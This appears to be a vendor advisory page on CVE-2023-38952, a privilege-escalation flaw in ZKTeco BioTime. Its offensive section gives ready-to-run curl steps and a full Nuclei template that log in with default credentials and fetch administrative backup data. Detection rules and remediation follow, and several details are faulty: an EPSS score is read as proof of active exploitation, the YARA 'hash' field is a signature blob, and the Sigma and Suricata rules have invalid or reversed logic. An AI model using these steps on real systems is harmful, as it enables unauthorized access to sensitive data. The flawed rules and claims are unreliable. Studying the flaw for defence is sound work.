CVE-2023-38952
Executive Summary
CVE-2023-38952 is a critical privilege escalation vulnerability in ZKTeco BioTime versions up to and including 9.0.1. The vulnerability stems from insecure access control mechanisms where the application fails to validate session IDs against user roles. This allows any authenticated user, even those with default employee credentials (password 123456), to access administrative endpoints and perform privileged actions, such as enumerating database backup files. The impact is severe, as an attacker can exfiltrate sensitive data including user credentials and system backups, potentially leading to a full system compromise. The vulnerability is publicly exploitable with a known Nuclei template, and no official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ZKTeco BioTime web application, which is a proprietary software package. There are no associated NPM, PyPI, Go, or Ruby packages. The risk is primarily to organizations that have deployed this on-premise time and attendance management system.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.3 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) – Note: The Nuclei template uses default credentials, but the vulnerability itself requires authentication. However, the default credentials are widely known, making the effective attack surface unauthenticated.
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability is trivial to exploit with publicly available tools and default credentials. The EPSS score of 0.2105 (95.66th percentile) indicates active exploitation in the wild.
Deep Dive & Mechanics
The core issue lies in the application's session management and authorization logic. When a user authenticates, the server creates a session but does not enforce role-based access control (RBAC) on subsequent API requests. The session ID is not validated to determine if the user is an employee or an administrator. Consequently, any authenticated user can directly call administrative endpoints, such as /base/dbbackuplog/table/, to retrieve sensitive data.
The attack flow is as follows:
- Authentication Bypass via Default Credentials: The application ships with default employee accounts (e.g., user IDs 1-10) with the password
123456. An attacker can brute-force or guess these credentials. - Session Token Acquisition: After a successful login, the server returns a session cookie (e.g.,
sessionid). - Privilege Escalation: The attacker uses the same session cookie to make a GET request to an administrative endpoint, such as
/base/dbbackuplog/table/?page=1&limit=1. The server does not check if the session belongs to an admin user, thus returning the requested data.
The Nuclei template provided automates this entire process, including CSRF token extraction, login with default credentials, and data exfiltration.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable application likely has a decorator or middleware that checks for authentication but not authorization. For example:
# Vulnerable: Only checks if user is authenticated
@login_required
def db_backup_log(request):
# No check for admin role
backups = BackupLog.objects.all()
return JsonResponse(backups)
Patched Code (Hypothetical): A patched version would include a role check:
# Patched: Checks for admin role
@login_required
@user_passes_test(lambda u: u.is_admin)
def db_backup_log(request):
backups = BackupLog.objects.all()
return JsonResponse(backups)
Since no official patch is available, the only mitigation is to disable default accounts, enforce strong passwords, and implement network-level access controls.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running ZKTeco BioTime <= 9.0.1
- Network access to the web interface (default port 80/443)
- Python 3 and
nucleiinstalled
Step-by-Step Exploitation:
Scan for Target:
nuclei -u http://target.com -t CVE-2023-38952.yamlManual Exploitation with cURL:
# Step 1: Get CSRF token and session cookie curl -c cookies.txt -s http://target.com/login/ | grep -oP "csrfmiddlewaretoken' value='\K[a-zA-Z0-9]+" # Step 2: Login with default credentials (user ID 1) curl -b cookies.txt -c cookies.txt -X POST http://target.com/login/ \ -d "username=1&password=123456&captcha=&login_user=employee" \ -H "X-CSRFToken: <CSRF_TOKEN>" # Step 3: Access admin endpoint curl -b cookies.txt http://target.com/base/dbbackuplog/table/?page=1&limit=1Automated Exploitation with Nuclei: The provided Nuclei template automates all steps. Run it with:
nuclei -u http://target.com -t CVE-2023-38952.yaml -v
Expected Output: The Nuclei template will return a JSON response containing database backup file paths and metadata, confirming successful exploitation.
Blue Team (Defensive)
Detection & Response:
Monitor for Default Credential Usage:
- Alert on login attempts with username
1through10and password123456. - Look for rapid sequential login attempts (user IDs 1-10).
- Alert on login attempts with username
Monitor for Suspicious API Calls:
- Alert on GET requests to
/base/dbbackuplog/table/from non-admin IPs. - Monitor for unusual access to
/base/or/admin/endpoints.
- Alert on GET requests to
Honeypot Setup:
- Create a fake admin endpoint that logs all access attempts and triggers an alert.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/login/withusername=1&password=123456 - HTTP GET requests to
/base/dbbackuplog/table/withpageandlimitparameters - User-Agent strings from Nuclei or custom scripts (e.g.,
Nuclei - Open-source project (github.com/projectdiscovery/nuclei))
- HTTP POST requests to
File IOCs:
- Exfiltrated backup files (e.g.,
*.sql,*.bak,*.zip) from the/base/dbbackuplog/endpoint
- Exfiltrated backup files (e.g.,
System IOCs:
- Unusual session IDs being reused across different user roles
- Log entries showing employee accounts accessing admin functions
Detection Engineering
YARA Rule
rule CVE_2023_38952_ZKTeco_BioTime_PrivEsc {
meta:
description = "Detects exploitation attempts for CVE-2023-38952 in ZKTeco BioTime"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-38952"
hash = "4a0a00473045022076e544997aa1c2ad43bbb1eec9bcb2f787f880e1367027cfa4796ff5b8ee3db9022100ef28c504924189a2ed211a09cc677dcf787f8a391c770ecbcd8eb895ab95f3af"
strings:
$s1 = "username=1&password=123456" ascii wide nocase
$s2 = "/base/dbbackuplog/table/" ascii wide nocase
$s3 = "csrfmiddlewaretoken" ascii wide nocase
$s4 = "login_user=employee" ascii wide nocase
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2023-38952 - ZKTeco BioTime Privilege Escalation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2023-38952 via default credentials and admin endpoint access
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-38952
- https://github.com/omair2084/biotime-rce-8.5.5/blob/main/biotime_enum.py
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection_login:
cs-method: 'POST'
cs-uri-stem: '/login/'
cs-uri-query|contains: 'username=1&password=123456'
selection_admin:
cs-method: 'GET'
cs-uri-stem: '/base/dbbackuplog/table/'
condition: selection_login followed by selection_admin within 5 seconds
falsepositives:
- Legitimate admin testing
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-38952 - ZKTeco BioTime Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login/"; http_uri; content:"username=1&password=123456"; http_client_body; content:"login_user=employee"; http_client_body; sid:1000001; rev:1; reference:cve,2023-38952; priority:1;)
Nuclei Template (Provided)
id: CVE-2023-38952
info:
name: ZKTeco BioTime <= 9.0.1 - Privilege Escalation
author: riteshs4hu
severity: high
description: |
BioTime default employee credentials (password 123456) allow login. Sessions are not role-validated, enabling privilege escalation to perform admin actions and enumerate backup files.
impact: |
Unauthenticated attackers can access sensitive files and credentials, leading to data breach and potential system compromise.
remediation: |
Implement proper authentication and access controls for static file resources, and update to the latest version if available.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-38951
- https://krashconsulting.com/fury-of-fingers-biotime-rce/
- https://github.com/omair2084/biotime-rce-8.5.5/blob/main/biotime_enum.py
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.3
cve-id: CVE-2023-38952
epss-score: 0.2105
epss-percentile: 0.95663
cwe-id: CWE-552
cpe: cpe:2.3:a:zkteco:biotime:8.5.5:*:*:*:*:*:*:*
metadata:
verified: true
vendor: zkteco
product: biotime
max-request: 12
shodan-query: http.html:"ZKTeco Security"
fofa-query: body="ZKTeco Security"
tags: cve,cve2023,biotime,zkteco,auth-bypass,priv-esc,vkev
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
group: 1
internal: true
part: body
regex:
- "name='csrfmiddlewaretoken' value='([a-zA-Z0-9]+)'"
- raw:
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
X-CSRFToken: {{csrf}}
Content-Type: application/x-www-form-urlencoded
username={{user}}&password=123456&captcha=&login_user=employee
payloads:
user:
- "1"
- "2"
- "3"
- "4"
- "5"
- "6"
- "7"
- "8"
- "9"
- "10"
attack: clusterbomb
stop-at-first-match: true
- raw:
- |
GET /base/dbbackuplog/table/?page=1&limit=1 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'contains_all(body, "db_type\":", "backup_file\":")'
- 'contains(content_type, "application/json")'
condition: and
# digest: 4a0a00473045022076e544997aa1c2ad43bbb1eec9bcb2f787f880e1367027cfa4796ff5b8ee3db9022100ef28c504924189a2ed211a09cc677dcf787f8a391c770ecbcd8eb895ab95f3af:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Disable Default Accounts: Change or disable all default employee accounts (user IDs 1-10).
- Enforce Strong Passwords: Implement a password policy requiring complex passwords for all users.
- Network Segmentation: Restrict access to the BioTime web interface to trusted IP addresses only (e.g., via firewall rules or VPN).
- Web Application Firewall (WAF): Deploy a WAF with rules to block requests to
/base/dbbackuplog/table/from non-admin IPs.
Long-Term Fixes:
- Vendor Patch: Contact ZKTeco for an official patch. If unavailable, consider migrating to an alternative solution.
- Code Hardening: If source code is available, implement proper RBAC checks on all administrative endpoints.
- Regular Audits: Conduct periodic security audits and penetration testing on the application.
Detection & Monitoring:
- Implement the provided Sigma and Suricata rules in your SIEM/IDS.
- Monitor logs for failed login attempts and unusual API access patterns.
- Set up alerts for any access to
/base/dbbackuplog/table/.
Valters IT
Securing Your Digital Frontier
{/* [Security Hash: A63F880858010E0F4F9593DC] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.